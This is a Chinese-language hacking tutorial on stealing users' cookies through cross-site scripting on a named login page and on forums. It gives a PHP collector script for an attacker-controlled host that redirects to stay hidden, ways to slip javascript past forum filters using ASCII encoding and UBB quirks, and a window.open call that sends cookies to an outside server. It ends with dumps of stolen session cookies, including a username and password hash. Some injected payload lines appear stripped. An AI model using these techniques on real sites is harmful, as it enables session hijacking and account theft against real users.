1. 构造一个提交,目标是能够显示用户Cookie信息:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info." ");
fclose($fp);
}
header("Location: http://www.5460.net");
注:"%2B"为"+"的URL编码,并且这里只能用"%2B",因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就…………
涉及到跨站技巧的问题。像大部份论坛,都过滤了javascript这个字符。有个小技巧是可以利用的,可以在论坛发的贴里将javascript写成ascii码。像j可以写成”j”
再如a可以写成”a”,你可以找一个ascii码表对照修改一下,这样成功率能高一点。还有,你要学会分析一下对方的ubb代码。像动网5.0以下论坛,你在[img]里写入和bbs3000一样的代码就不会成功,因为动网5.0以下,ubb代码http://这个地方当成图片地址了,结你提交的代码被分成了两段javascript:window.open(’和http://www.netsill.net/lcx/info.asp?msg=’+.); ,以至于我们提交的代码丧失了功能。难道就不能攻击了吗?当然不是,我们可以变换种方式提交,在[img]中插入代码如下:
如下图:我偷的cookies:
msg=ASPSESSIONIDSSDCTDDC=IJNFFJBABCCGKBMFKHOKFJBI;%20ASPSESSIONIDAAQCQBAA=NLJPKNBANJNPDGFPENJFPJHE;%20joekoe%5Fonline=login%5Fid=&login%5Fpassword=&login%5Fusername=&guest%5Fname=%D3%CE%BF%CD38869331&cookies%5Ftrue=yes&vc%5Fup%5Fnews=jk8822;%20ASPSESSIONIDCCRDQBAB=NGGFCCCAEAECNNPOKHFOCJNK;%20ASPSESSIONIDQQBDSDDC=PEJBBFCAPKOKKLHBIMFEBPHA
msg=ASPSESSIONIDSSDCTDDC=IJNFFJBABCCGKBMFKHOKFJBI;%20ASPSESSIONIDAAQCQBAA=NLJPKNBANJNPDGFPENJFPJHE;%20joekoe%5Fonline=login%5Fpassword=b7f688e82b6451c2&login%5Fid=4&login%5Fusername=xgb&time%5Fload=2005%2D8%2D15+16%3A04%3A49&guest%5Fname=%D3%CE%BF%CD38869331&cookies%5Ftrue=yes&vc%5Fup%5Fnews=jk8822;%20ASPSESSIONIDCCRDQBAB=NGGFCCCAEAECNNPOKHFOCJNK;%20ASPSESSIONIDQQBDSDDC=PEJBBFCAPKOKKLHBIMFEBPHA